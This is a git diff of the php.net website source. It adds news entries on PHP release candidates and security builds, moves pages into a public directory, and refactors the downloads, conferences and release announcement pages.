      diff --git a/public/archive/entries/2026-10-26-1.xml b/public/archive/entries/2026-10-26-1.xml new file mode 100644 index 0000000000..828a3a67fb --- /dev/null +++ b/public/archive/entries/2026-10-26-1.xml @@ -0,0 +1,36 @@ + + + Updated PHP Windows builds for Brotli security fix + https://www.php.net/archive/2026.php#2026-10-26-1 + 2026-10-26T11:57:45+00:00 + 2026-10-26T11:57:45+00:00 + + + + +
      +

      + The PHP team announces updated Windows builds: + PHP 8.5.12-1, 8.4.27-1, 8.3.36-1 and 8.2.35-1. + These builds include Brotli 1.2.1, which fixes + CVE-2026-111497, + an out-of-bounds write vulnerability in Brotli decompression. +

      +

      + In PHP Windows builds, the vulnerable decoder can be reached through the + cURL extension when automatic HTTP response decompression is enabled. + This is disabled by default in cURL, but applications and HTTP client + libraries can enable it. +

      +

      + The -1 suffix identifies a Windows package rebuild with updated + dependencies. These builds use the same PHP source releases, and the PHP + runtime versions remain unchanged. +

      +

      + The updated packages are available on the + downloads page. +

      +
      +
      +
      diff --git a/public/archive/entries/2026-11-05-1.xml b/public/archive/entries/2026-11-05-1.xml new file mode 100644 index 0000000000..e5b001aafa --- /dev/null +++ b/public/archive/entries/2026-11-05-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0 RC5 available for testing + https://www.php.net/archive/2026.php#2026-11-05-1 + 2026-11-05T21:12:54+00:00 + 2026-11-05T21:12:54+00:00 + + + + +
      +

      The PHP team is pleased to announce the fourth release candidate of PHP 8.6.0, RC5. This continues the PHP 8.6 release cycle, whose rough outline is specified in the PHP Wiki.

      +

      Source downloads of PHP 8.6.0 RC5 are available on the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be the first GA release, PHP 8.6.0, planned for 19 November 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-11-12-1.xml b/public/archive/entries/2026-11-12-1.xml new file mode 100644 index 0000000000..a7ada371a5 --- /dev/null +++ b/public/archive/entries/2026-11-12-1.xml @@ -0,0 +1,22 @@ + + + PHP 8.6.0RC7 available for testing + https://www.php.net/archive/2026.php#2026-11-12-1 + 2026-11-12T13:55:02+00:00 + 2026-11-12T13:55:02+00:00 + + + + +
      +

      The PHP team is pleased to announce the fifth release candidate of PHP 8.6.0, RC7. This continues the PHP 8.6 release cycle, whose rough outline is specified in the PHP Wiki.

      +

      Source downloads of PHP 8.6.0 RC7 are available on the download page.

      +

      Please carefully test this version and report any issues found in the GitHub Issues.

      +

      Please DO NOT use this version in production, it is an early test version.

      +

      For more information on the new features and other changes, you can read the NEWS file, or the UPGRADING file for a complete list of upgrading notes. These files can also be found in the release archive.

      +

      The next release will be the first GA release, PHP 8.6.0, planned for 19 November 2026.

      +

      The signatures for the release can be found in the manifest or on the pre-release builds page.

      +

      Thank you for helping us make PHP better.

      +
      +
      +
      diff --git a/public/archive/entries/2026-11-18-1.xml b/public/archive/entries/2026-11-18-1.xml new file mode 100644 index 0000000000..eedca5bb4c --- /dev/null +++ b/public/archive/entries/2026-11-18-1.xml @@ -0,0 +1,36 @@ + + + Upcoming Critical PHP Security Release + https://www.php.net/archive/2026.php#2026-11-18-1 + 2026-11-18T17:09:51+00:00 + 2026-11-18T17:09:51+00:00 + + + + +
      +

      + The PHP security team announces upcoming security releases + scheduled for Thursday, 19 November 2026, between 14:00 and + 14:30 UTC. +

      +

      + These releases are part of PHP’s regular four-week release cycle + and will address security vulnerabilities affecting all supported + PHP versions. The highest severity is CRITICAL. +

      +

      + The issues rated CRITICAL require either non-default configuration + or uncommon setups. +

      +

      + Users are strongly encouraged to prepare to upgrade promptly once + the releases become available. Technical details and fixed version + numbers will be published alongside the releases. +

      +

      + Thank you for helping us keep PHP secure. +

      +
      +
      +
      diff --git a/archive/index.php b/public/archive/index.php similarity index 63% rename from archive/index.php rename to public/archive/index.php index 340b121666..1f391d35fb 100644 --- a/archive/index.php +++ b/public/archive/index.php @@ -1,6 +1,6 @@ +
      +

      + This page is intended to help set up a development environment for PHP, if mistakes are found + please report them. +

      +
      +
      +'; + +site_header( + "Operating System Preparation", + [ + "current" => "community", + "css" => [ + "code-syntax.css", + ], + ], +); + +?> +

      Operating System Preparation

      +
      +

      + Improving PHP requires a working build environment to test changes, the following section deals with setting up a working build environment. +

      +

      + Your build environment should have an appropriate toolchain that includes a working C compiler. + For those not working in Microsoft Windows, you will need a working, compatible autotools installation, and at the very least a shared copy of zlib. +

      +

      + For most *nix like operating systems, some external dependencies may be required to bring a build to completion; + if a build fails because of missing headers or libraries, issuing a variant of the following command should resolve those dependencies, allowing the build to continue. +

      +
      +
      [sudo] yum|apt|port install package[-dev[el]]
      +
      +

      + For those working in Ubuntu Linux, you can run the following command to automate the installation of dependencies. +

      +
      +
      sudo apt build-dep php
      +
      +

      + If the compilation of an extension fails because of missing dependencies, Ubuntu Linux can attempt to automate the resolution of those dependencies by issuing: +

      +
      +
      sudo apt build-dep php-<extname>
      +
      +

      + The following table shows what is required for Microsoft Windows users to build supported PHP versions: +

      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      PHPVisual C++MS SDKDEPSPHP SDK
      8.2Visual Studio 2019VS16 + x86, + x64 + tools
      8.3Visual Studio 2019VS16 + x86, + x64 + tools
      8.4Visual Studio 2022VS17 + x86, + x64 + tools
      8.5Visual Studio 2022VS17 + x86, + x64 + tools
      +

      Note: If a Windows SDK is required, it is advised to install the SDK before Visual Studio.

      +
      + +

      Workspace Preparation

      +
      +

      + Windows users should now download and unzip the PHP SDK to their workspace and execute the following commands in an appropriate Visual Studio 2019/2022 Developer Command Prompt: +

      +

      + Visual Studio 2019 and 2022: +

      +
      +
      cd C:\path-to-workspace
      +bin\phpsdk_setvars.bat
      +bin\phpsdk_buildtree.bat phpdev
      +
      +

      + Windows should now change to the directory C:\path-to-workspace\phpdev\VSXX\XARCH, and consider it the root of the workspace for the current build. +

      +

      + The next step for everyone is to obtain the versioned PHP sources via git: +

      +
      +
      git clone -b BRANCH https://github.com/php/php-src .
      +
      +

      + BRANCH should be replaced with an appropriate branch name, for example, PHP-8.5. +

      +

      + At this point you have a working build environment and the vanilla sources for your chosen branch of PHP, it is a good idea, before you change anything at all, to create a new branch and switch to it, in preparation for your awesome changes to come. +

      +
      +
      git checkout -b my-awesome-changes
      +
      +
      + + +

      Building Your Development PHP

      +
      +

      + All operating systems now converge on (near as makes no difference) the same solutions for the rest of the build process: +

      +
        +
      • buildconf: generates the configure script for PHP
      • +
      • configure: configures the build of PHP and creates Makefile
      • +
      • make: builds PHP
      • +
      • make test: runs testsuite
      • +
      • make install: installs PHP
      • +
      +

      + For Microsoft Windows operating systems, those commands look like this: +

      +
      +
      buildconf
      +configure --with-prefix=C:\my-awesome-php
      +nmake
      +nmake test
      +nmake install
      +
      +

      + While for the rest of us, those commands look like this: +

      +
      +
      ./buildconf
      +./configure --prefix=/opt/my-awesome-php
      +make
      +make test
      +make install
      +
      +

      + The configure script can customize almost every aspect of PHP, to elicit help at the console pass --help + as the only argument to configure

      +

      + When configure executes, it saves the options passed in to a re-usable config.nice which executes configure when invoked. +

      +

      + Upon successful completion of a build, it is recommended to run the test suite; this will help you to identify regression problems in your work, + running the test suite can take a while; go out for a run, or a burger. +

      +

      + It is also possible to run a set (directory) of tests in the following way: +

      +
      +
      [n]make test TESTS=sapi/cli
      +
      +
      + $SIDEBAR_DATA]); diff --git a/cached.php b/public/cached.php similarity index 91% rename from cached.php rename to public/cached.php index 766afb2e65..873f467eca 100644 --- a/cached.php +++ b/public/cached.php @@ -10,14 +10,18 @@ so there is no vulnerability here. You can't use this to view anything that is private. */ + +use phpweb\ProjectGlobals; + $_SERVER['BASE_PAGE'] = 'cached.php'; -include_once 'include/prepend.inc'; +require_once __DIR__ . '/../include/prepend.inc'; if (!isset($_GET["f"])) { header("Location: https://www.php.net/"); exit; } -$pwd = realpath($_SERVER["DOCUMENT_ROOT"]); +$pwd = ProjectGlobals::getPublicRoot(); + $abs = $pwd . "/" . (string)$_GET["f"]; $abs = realpath($abs); diff --git a/cal.php b/public/cal.php similarity index 98% rename from cal.php rename to public/cal.php index 0ee2bc2e83..4c1624ded0 100644 --- a/cal.php +++ b/public/cal.php @@ -1,6 +1,6 @@ "community", @@ -98,7 +98,7 @@

      If you would like to suggest an upcoming event to be listed on this - calendar, you can use our event submission + calendar, you can use our event submission form.

      @@ -189,7 +189,7 @@ // Print out day number and all events for the day echo '',$i,''; - display_events_for_day(date("Y-m-",$bom) . sprintf("%02d",$i), $events); + display_events_for_day(date("Y-m-", $bom) . sprintf("%02d", $i), $events); echo ''; // Break HTML table row if at end of week diff --git a/public/conferences/index.php b/public/conferences/index.php new file mode 100644 index 0000000000..17ee6b2d18 --- /dev/null +++ b/public/conferences/index.php @@ -0,0 +1,161 @@ + '', + 'current' => 'community', + 'css' => ['home.css'], +]); + +$today = gmdate('Y-m-d'); +$schedule = new ConferenceSchedule((new NewsHandler())->getConferences(), $today); + +// The page has two views, switched via ?view=: the default view, which lists +// conferences only (targeted at attendees/sponsors), and the call-for-papers +// view, which lists CFPs only, split into open and closed (targeting speakers). +$view = ($_GET['view'] ?? null) === 'cfps' ? 'cfps' : 'conferences'; + +// Build nav for switching between views +$viewLinks = [ + 'conferences' => ['label' => 'Conferences', 'href' => '/conferences/'], + 'cfps' => ['label' => 'Calls for papers', 'href' => '/conferences/?view=cfps'], +]; + +$viewSwitcher = '

      '; + +$renderEntry = static function (array $entry) use ($MYSITE, $today): string { + $link = preg_replace('~^(http://php.net/|https://www.php.net/)~', '', $entry["id"]); + $id = parse_url($entry["id"], PHP_URL_FRAGMENT); + + $html = '
      '; + $html .= '

      ' . $entry["title"] . '

      '; + + if (isset($entry["finalTeaserDate"])) { + $isPast = $entry["finalTeaserDate"] < $today; + if (ConferenceSchedule::termFor($entry) === Category::Cfp) { + $label = $isPast ? 'CFP closed' : 'CFP closes'; + } else { + $label = $isPast ? 'Started' : 'Starts'; + } + $html .= '

      ' . $label . '

      '; + } + + $html .= '
      '; + + if (isset($entry["newsImage"])) { + $html .= sprintf('', $entry["newsImage"]["link"], $entry["newsImage"]["content"]); + } + + $html .= '
      '; + $html .= '
      '; + $html .= $entry["content"]; + $html .= '
      '; + $html .= '
      '; + + return $html; +}; + +$content = "
      "; +$content .= $viewSwitcher; + +if ($view === 'cfps') { + $content .= '

      Open calls for papers

      '; + + if ($schedule->openCallsForPapers === []) { + $content .= '

      No open calls for papers right now.

      '; + } else { + foreach ($schedule->openCallsForPapers as $entry) { + $content .= $renderEntry($entry); + } + } + + if ($schedule->closedCallsForPapers !== []) { + $content .= '

      Closed calls for papers

      '; + + foreach ($schedule->closedCallsForPapers as $entry) { + $content .= $renderEntry($entry); + } + } +} else { + $content .= '

      Upcoming conferences

      '; + + if ($schedule->upcomingConferences === []) { + $content .= '

      No upcoming conferences right now.

      '; + } else { + foreach ($schedule->upcomingConferences as $entry) { + $content .= $renderEntry($entry); + } + } + + if ($schedule->pastConferences !== []) { + $content .= '

      Past conferences

      '; + + foreach ($schedule->pastConferences as $entry) { + $content .= $renderEntry($entry); + } + } +} + +$content .= "
      "; + +echo $content; + +// Build sidebar mirroring the active view: conferences grouped into upcoming/past, or CFPs into open/closed. +$panels = sprintf( + '

      Want to see your %s appear here?

      ', + $view === 'cfps' ? 'call for papers' : 'conference', +); + +$renderPanels = static function (array $entries): string { + $html = ''; + foreach ($entries as $entry) { + $link = preg_replace('~^(http://php.net/|https://www.php.net/)~', '', $entry["id"]); + $html .= sprintf('

      %s

      ', $entry["newsImage"]["link"] ?? $link, $entry["title"]); + } + + return $html; +}; + +if ($view === 'cfps') { + if ($schedule->openCallsForPapers !== []) { + $panels .= '

      Open

      ' . $renderPanels($schedule->openCallsForPapers); + } + + if ($schedule->closedCallsForPapers !== []) { + $panels .= '

      Closed

      ' . $renderPanels($schedule->closedCallsForPapers); + } +} else { + if ($schedule->upcomingConferences !== []) { + $panels .= '

      Upcoming

      ' . $renderPanels($schedule->upcomingConferences); + } + + if ($schedule->pastConferences !== []) { + $panels .= '

      Past

      ' . $renderPanels($schedule->pastConferences); + } +} + +site_footer([ + "atom" => "/feed.atom", + "elephpants" => true, + "sidebar" => $panels, +]); diff --git a/contact.php b/public/contact.php similarity index 97% rename from contact.php rename to public/contact.php index 6e0e7b8e21..e1ca7ffe75 100644 --- a/contact.php +++ b/public/contact.php @@ -1,6 +1,6 @@ "community"]); ?> diff --git a/copyright.php b/public/copyright.php similarity index 96% rename from copyright.php rename to public/copyright.php index 57233ded2c..b6d0077c74 100644 --- a/copyright.php +++ b/public/copyright.php @@ -1,6 +1,6 @@ "footer"]); ?> diff --git a/credits.php b/public/credits.php similarity index 92% rename from credits.php rename to public/credits.php index b652bd652f..613526acab 100644 --- a/credits.php +++ b/public/credits.php @@ -1,7 +1,7 @@ "docs"]); - +require_once __DIR__ . '/../include/prepend.inc'; + +site_header( + "Documentation", + [ + "current" => "docs", + 'cache_control' => 5 * 60, // 5 minutes + ] +); ?>

      Documentation

      -
      -

      The PHP Manual is available online in a selection of languages. Please pick a language from the list below.

      -

      - Note, that many languages are just under translation, and - the untranslated parts are still in English. Also some translated - parts might be outdated. The translation teams are - open to contributions. -

      -
      -

      View Online: $langname) { - if (!file_exists($_SERVER["DOCUMENT_ROOT"] . "/manual/{$langcode}/index.php")) { + if (!file_exists(ProjectGlobals::getPublicRoot() . "/manual/{$langcode}/index.php")) { continue; } @@ -48,6 +44,13 @@ ?>

      +

      + Note that many languages are still being translated, and + the untranslated parts are still in English. Some translated + parts might be outdated. The translation teams are + open to contributions. +

      +

      The language currently being used as the default for you should be in bold above. You can change the setting for this on the @@ -61,7 +64,7 @@

      Information about php.net URL shortcuts can be found by visiting our - Navigation tips & tricks page. + Navigation tips & tricks page.

      More documentation

      diff --git a/download-docs.php b/public/download-docs.php similarity index 96% rename from download-docs.php rename to public/download-docs.php index b8714ea578..79961ec0ff 100644 --- a/download-docs.php +++ b/public/download-docs.php @@ -1,9 +1,10 @@ '; -site_header("Download documentation", ["current" => "docs"]); +site_header( + "Download documentation", + [ + "current" => "docs", + 'cache_control' => 5 * 60, // 5 minutes + ] +); // Format to look for $formats = [ @@ -94,7 +101,7 @@ // Go through all possible manual formats foreach ($formats as $formatname => $extension) { - $filepath = $_SERVER['DOCUMENT_ROOT'] . '/distributions/manual/'; + $filepath = ProjectGlobals::getPublicRoot() . '/distributions/manual/'; if ($formatname === 'HTML Help file (with user notes)') { $filename = "php_enhanced_$langcode.$extension"; } else { diff --git a/download-logos.php b/public/download-logos.php similarity index 99% rename from download-logos.php rename to public/download-logos.php index f044336630..09833dc577 100644 --- a/download-logos.php +++ b/public/download-logos.php @@ -1,6 +1,6 @@ More PHP artwork

      diff --git a/downloads-get-instructions.php b/public/downloads-get-instructions.php similarity index 75% rename from downloads-get-instructions.php rename to public/downloads-get-instructions.php index 6a9f19e67d..f75e5a6da2 100644 --- a/downloads-get-instructions.php +++ b/public/downloads-get-instructions.php @@ -1,11 +1,11 @@ '', - 'usage' => '', 'version' => '', ]; } @@ -26,17 +26,16 @@ } } -if (in_array($options['usage'], ['fw-drupal', 'fw-laravel', 'fw-symfony', 'fw-wordpress', 'fw-joomla'])) { - $file = "{$options['usage']}"; - $options['os'] = null; -} - $multiversion = false; if (array_key_exists('multiversion', $options)) { $multiversion = $options['multiversion'] === 'Y'; } +if (!array_key_exists($options['version'], $versions)) { + $options['version'] = 'default'; +} + $source = false; if (array_key_exists('source', $options)) { @@ -51,13 +50,15 @@ if ($defaultOrCommunity === 'community' && $options['version'] == 'default') { $options['version'] = $latestPhpVersion; } - $file = "{$options['osvariant']}-{$options['usage']}-{$defaultOrCommunity}"; + if (str_starts_with("{$options['osvariant']}", 'linux-docker')) { + $file = "{$options['osvariant']}-{$defaultOrCommunity}"; + } else { + $file = "{$options['osvariant']}-web-{$defaultOrCommunity}"; + } break; case 'osx': case 'windows': - if($options['osvariant'] === "{$options['os']}-docker") { - $file = "{$options['osvariant']}-{$options['usage']}"; - } elseif($options['osvariant'] === "{$options['os']}-scoop") { + if ($options['osvariant'] === "{$options['os']}-scoop") { $file = "{$options['osvariant']}-" . ($options['version'] == $latestPhpVersion ? 'main' : 'versions'); } else { $file = "{$options['osvariant']}"; @@ -72,8 +73,8 @@ $version = $options['version']; $versionNoDot = str_replace('.', '', $version); -if (file_exists(__DIR__ . "/include/download-instructions/{$file}.php")) { - include __DIR__ . "/include/download-instructions/{$file}.php"; +if (file_exists(__DIR__ . "/../include/download-instructions/{$file}.php")) { + require __DIR__ . "/../include/download-instructions/{$file}.php"; if ($source) { return false; } diff --git a/downloads.php b/public/downloads.php similarity index 72% rename from downloads.php rename to public/downloads.php index fd123c3f35..ebef3decba 100644 --- a/downloads.php +++ b/public/downloads.php @@ -1,11 +1,62 @@ [ + 'name' => 'Linux', + 'variants' => [ + 'linux-debian' => 'Debian', + 'linux-fedora' => 'Fedora', + 'linux-redhat' => 'RedHat', + 'linux-ubuntu' => 'Ubuntu', + 'linux-docker-cli' => 'Docker (Command Line Interface)', + 'linux-docker-web' => 'Docker (Web Development)', + ], + ], + 'osx' => [ + 'name' => 'macOS', + 'variants' => [ + 'osx-homebrew' => 'Homebrew', + 'osx-homebrew-php' => 'Homebrew-PHP', + 'osx-docker-cli' => 'Docker (Command Line Interface)', + 'osx-docker-web' => 'Docker (Web Development)', + 'osx-macports' => 'MacPorts', + ], + ], + 'windows' => [ + 'name' => 'Windows', + 'variants' => [ + 'windows-downloads' => 'ZIP Downloads', + 'windows-native' => 'Single Line Installer', + 'windows-chocolatey' => 'Chocolatey', + 'windows-scoop' => 'Scoop', + 'windows-winget' => 'Winget', + 'windows-docker-cli' => 'Docker (Command Line Interface)', + 'windows-docker-web' => 'Docker (Web Development)', + 'windows-wsl-debian' => 'WSL/Debian', + 'windows-wsl-ubuntu' => 'WSL/Ubuntu', + ], + ], +]; + +// An invalid ?os= redirects to the auto-detected results before any output. +$resolution = (new OptionResolver($os))->resolve( + $_GET, + $_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? '', + $_SERVER['HTTP_USER_AGENT'] ?? '', +); + +if ($resolution->redirectQuery !== null) { + header('Location: /downloads.php?' . $resolution->redirectQuery, true, 302); + exit; +} + +$options = $resolution->options; $SIDEBAR_DATA = '

      @@ -22,7 +73,8 @@

      Pre-Release Builds

      Development Sources (git)

      -

      Old Archives

      +

      Old Source Archives

      +

      Windows Archives

      '; site_header("Downloads", @@ -43,6 +95,7 @@ "js_files" => [ "js/ext/prism.js", ], + 'cache_control' => 3 * 60, // 3 minutes ], ); @@ -51,113 +104,18 @@ function option(string $value, string $desc, $attributes = []): string return ''; } -$usage = [ - 'web' => 'Web Development', - 'cli' => 'CLI/Library Development', - 'fw-drupal' => 'Drupal Development', - 'fw-joomla' => 'Joomla Development', - 'fw-laravel' => 'Laravel Development', - 'fw-symfony' => 'Symfony Development', - 'fw-wordpress' => 'WordPress Development', -]; - -$os = [ - 'linux' => [ - 'name' => 'Linux', - 'variants' => [ - 'linux-debian' => 'Debian', - 'linux-fedora' => 'Fedora', - 'linux-redhat' => 'RedHat', - 'linux-ubuntu' => 'Ubuntu', - 'linux-docker' => 'Docker', - ], - ], - 'osx' => [ - 'name' => 'macOS', - 'variants' => [ - 'osx-homebrew' => 'Homebrew', - 'osx-homebrew-php' => 'Homebrew-PHP', - 'osx-docker' => 'Docker', - 'osx-macports' => 'MacPorts', - ], - ], - 'windows' => [ - 'name' => 'Windows', - 'variants' => [ - 'windows-downloads' => 'ZIP Downloads', - 'windows-native' => 'Single Line Installer', - 'windows-chocolatey' => 'Chocolatey', - 'windows-scoop' => 'Scoop', - 'windows-winget' => 'Winget', - 'windows-docker' => 'Docker', - 'windows-wsl-debian' => 'WSL/Debian', - 'windows-wsl-ubuntu' => 'WSL/Ubuntu', - ], - ], -]; - $versions = [ '8.5' => 'version 8.5', '8.4' => 'version 8.4', '8.3' => 'version 8.3', '8.2' => 'version 8.2', - 'default' => 'OS default version', + 'default' => 'default PHP version for OS', ]; - -$platform = $_SERVER['HTTP_SEC_CH_UA_PLATFORM'] ?? ''; -$ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; -$auto_os = null; -$auto_osvariant = null; - -if (!empty($platform) || !empty($ua)) { - $platform = strtolower(trim($platform, '"')); - if ($platform === 'windows' || stripos($ua, 'Windows') !== false) { - $auto_os = 'windows'; - } elseif ($platform === 'macos' || stripos($ua, 'Mac') !== false) { - $auto_os = 'osx'; - } elseif ($platform === 'linux' || stripos($ua, 'Linux') !== false) { - $auto_os = 'linux'; - if (stripos($ua, 'Ubuntu') !== false) { - $auto_osvariant = 'linux-ubuntu'; - } elseif (stripos($ua, 'Debian') !== false) { - $auto_osvariant = 'linux-debian'; - } elseif (stripos($ua, 'Fedora') !== false) { - $auto_osvariant = 'linux-fedora'; - } elseif (stripos($ua, 'Red Hat') !== false || stripos($ua, 'RedHat') !== false) { - $auto_osvariant = 'linux-redhat'; - } - } -} - -$defaults = [ - 'os' => $auto_os ?? 'linux', - 'version' => 'default', - 'usage' => 'web', -]; - -$options = array_merge($defaults, $_GET); - -if ($auto_osvariant && (!array_key_exists('osvariant', $options) || !array_key_exists($options['osvariant'], $os[$options['os']]['variants']))) { - $options['osvariant'] = $auto_osvariant; -} elseif (!array_key_exists('osvariant', $options) || !array_key_exists($options['osvariant'], $os[$options['os']]['variants'])) { - $options['osvariant'] = array_key_first($os[$options['os']]['variants']); -} ?>

      Downloads & Installation Instructions

      -
      - I want to use PHP for - . -
      -
      I work with -'; - - $tab = ' '; - foreach (LANGUAGES as $lang => $text) { - $selected = ($lang === $currentLang) ? ' selected="selected"' : ''; - echo $tab, "\n"; - } - - echo ' - - -'; -} - -function message($code, $language = 'en') +function message(string $code, string $language = 'en'): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.0/de.php b/public/releases/8.0/de.php new file mode 100644 index 0000000000..4601e2184d --- /dev/null +++ b/public/releases/8.0/de.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.0/it.php b/public/releases/8.0/it.php new file mode 100644 index 0000000000..42f6118428 --- /dev/null +++ b/public/releases/8.0/it.php @@ -0,0 +1,5 @@ +' . message('named_arguments_description', $lang) . '
    ', + links: [ + 'RFC|https://wiki.php.net/rfc/named_params', + message('documentation', $lang) . "|/manual/$documentation/functions.arguments.php#functions.named-arguments", + ], + before: <<<'PHP' + htmlspecialchars($string, ENT_COMPAT | ENT_HTML401, 'UTF-8', false); + PHP, + after: <<<'PHP' + htmlspecialchars($string, double_encode: false); + PHP, + ), + new FeatureComparison( + id: 'attributes', + title: message('attributes_title', $lang), + description: '

    ' . message('attributes_description', $lang) . '

    ', + links: [ + 'RFC|https://wiki.php.net/rfc/attributes_v2', + message('documentation', $lang) . "|/manual/$documentation/language.attributes.php", + ], + before: <<<'PHP' + class PostsController + { + /** + * @Route("/api/posts/{id}", methods={"GET"}) + */ + public function get($id) { /* ... */ } + } + PHP, + after: <<<'PHP' + class PostsController + { + #[Route("/api/posts/{id}", methods: ["GET"])] + public function get($id) { /* ... */ } + } + PHP, + ), + new FeatureComparison( + id: 'constructor-property-promotion', + title: message('constructor_promotion_title', $lang), + description: '

    ' . message('constructor_promotion_description', $lang) . '

    ', + links: [ + 'RFC|https://wiki.php.net/rfc/constructor_promotion', + message('documentation', $lang) . "|/manual/$documentation/language.oop5.decon.php#language.oop5.decon.constructor.promotion", + ], + before: <<<'PHP' + class Point { + public float $x; + public float $y; + public float $z; + + public function __construct( + float $x = 0.0, + float $y = 0.0, + float $z = 0.0 + ) { + $this->x = $x; + $this->y = $y; + $this->z = $z; + } + } + PHP, + after: <<<'PHP' + class Point { + public function __construct( + public float $x = 0.0, + public float $y = 0.0, + public float $z = 0.0, + ) {} + } + PHP, + ), + new FeatureComparison( + id: 'union-types', + title: message('union_types_title', $lang), + description: '

    ' . message('union_types_description', $lang) . '

    ', + links: [ + 'RFC|https://wiki.php.net/rfc/union_types_v2', + message('documentation', $lang) . "|/manual/$documentation/language.types.declarations.php#language.types.declarations.union", + ], + before: <<<'PHP' + class Number { + /** @var int|float */ + private $number; + + /** + * @param float|int $number + */ + public function __construct($number) { + $this->number = $number; + } + } + + new Number('NaN'); // + PHP + . ' ' . message('ok', $lang), + after: <<<'PHP' + class Number { + public function __construct( + private int|float $number + ) {} + } + + new Number('NaN'); // TypeError + PHP, + ), + new FeatureComparison( + id: 'match-expression', + title: message('match_expression_title', $lang), + description: message('match_expression_description', $lang), + links: [ + 'RFC|https://wiki.php.net/rfc/match_expression_v2', + message('documentation', $lang) . "|/manual/$documentation/control-structures.match.php", + ], + before: << {$ohNoText} + PHP, + after: << "{$ohNoText}", + 8.0 => "{$expectedText}", + }; + //> {$expectedText} + PHP, + ), + new FeatureComparison( + id: 'nullsafe-operator', + title: message('nullsafe_operator_title', $lang), + description: '

    ' . message('nullsafe_operator_description', $lang) . '

    ', + links: ['RFC|https://wiki.php.net/rfc/nullsafe_operator'], + before: <<<'PHP' + $country = null; + + if ($session !== null) { + $user = $session->user; + + if ($user !== null) { + $address = $user->getAddress(); + + if ($address !== null) { + $country = $address->country; + } + } + } + PHP, + after: <<<'PHP' + $country = $session?->user?->getAddress()?->country; + PHP, + ), + new FeatureComparison( + id: 'saner-string-to-number-comparisons', + title: message('saner_string_number_comparisons_title', $lang), + description: '

    ' . message('saner_string_number_comparisons_description', $lang) . '

    ', + links: ['RFC|https://wiki.php.net/rfc/string_to_number_comparison'], + before: <<<'PHP' + 0 == 'foobar' // true + PHP, + after: <<<'PHP' + 0 == 'foobar' // false + PHP, + ), + new FeatureComparison( + id: 'consistent-type-errors-for-internal-functions', + title: message('consistent_internal_function_type_errors_title', $lang), + description: '

    ' . message('consistent_internal_function_type_errors_description', $lang) . '

    ', + links: ['RFC|https://wiki.php.net/rfc/consistent_type_errors'], + before: <<<'PHP' + strlen([]); // Warning: strlen() expects parameter 1 to be string, array given + + array_chunk([], -1); // Warning: array_chunk(): Size parameter expected to be greater than 0 + PHP, + after: <<<'PHP' + strlen([]); // TypeError: strlen(): Argument #1 ($str) must be of type string, array given + + array_chunk([], -1); // ValueError: array_chunk(): Argument #2 ($length) must be greater than 0 + PHP, + ), +]; + +echo ReleasePage::getHeroSection( + title: message('main_title', $lang), + subtitle: message('main_subtitle', $lang), + logoSvg: << + SVG, + upgradeNow: message('upgrade_now', $lang), +); + +echo ReleasePage::getFeatureComparisons($comparisons, 'PHP 8', 'PHP 7'); + +?> + +
    +
    +
    +
    +

    +

    +

    +
    + Just-In-Time compilation +
    +
    +
    +
    + +
    +
    +
    +

    + +
    +
    +

    + + +

    + +
    +
    +
    +
    + + false]); diff --git a/public/releases/8.0/ru.php b/public/releases/8.0/ru.php new file mode 100644 index 0000000000..55e44842ed --- /dev/null +++ b/public/releases/8.0/ru.php @@ -0,0 +1,5 @@ + 'English', @@ -18,15 +18,22 @@ ]; function common_header(string $description): void { - global $MYSITE; + global $MYSITE, $lang; - $meta_image_path = \htmlspecialchars( - \filter_var($MYSITE . 'images/php8/php_8_1_released.png', \FILTER_VALIDATE_URL)); + $meta_image_url = \filter_var($MYSITE . 'images/php8/php_8_1_released.png', \FILTER_VALIDATE_URL); + $meta_image_path = $meta_image_url === false ? '' : \htmlspecialchars($meta_image_url); $meta_description = \htmlspecialchars($description); + $languages = []; + foreach (LANGUAGES as $code => $text) { + $languages[] = ['name' => $text, 'selected' => $lang === $code, 'url' => '/releases/8.1/' . $code . '.php']; + } + \site_header("PHP 8.1.0 Release Announcement", [ - 'current' => 'php8', - 'css' => ['php8.css'], + 'current' => 'php85', + 'css' => ['php85.css'], + 'language_switcher' => $languages, + 'theme_switcher' => true, 'meta_tags' => << @@ -45,28 +52,7 @@ function common_header(string $description): void { ]); } -function language_chooser(string $currentLang): void { - // Print out the form with all the options - echo ' -
    -
    - - -
    -
    -'; -} - -function message($code, $language = 'en') +function message(string $code, string $language = 'en'): string { $original = require __DIR__ . '/languages/en.php'; if (($language !== 'en') && file_exists(__DIR__ . '/languages/' . $language . '.php')) { diff --git a/public/releases/8.1/de.php b/public/releases/8.1/de.php new file mode 100644 index 0000000000..4601e2184d --- /dev/null +++ b/public/releases/8.1/de.php @@ -0,0 +1,5 @@ +chooseCode("", "", $_SERVER['HTTP_ACCEPT_LANGUAGE']); diff --git a/public/releases/8.1/ja.php b/public/releases/8.1/ja.php new file mode 100644 index 0000000000..7792525e5b --- /dev/null +++ b/public/releases/8.1/ja.php @@ -0,0 +1,5 @@ + 'Doc', 'enumerations_title' => 'Enumerations', - 'enumerations_content' => 'Use enum instead of a set of constants and get validation out of the box.', + 'enumerations_content' => 'Use an enum instead of a set of constants to get validation out of the box.', 'readonly_properties_title' => 'Readonly Properties', 'readonly_properties_content' => '

    Readonly properties cannot be changed after initialization, i.e. after a value is assigned to them.
    They are a great way to model value objects and data-transfer objects.

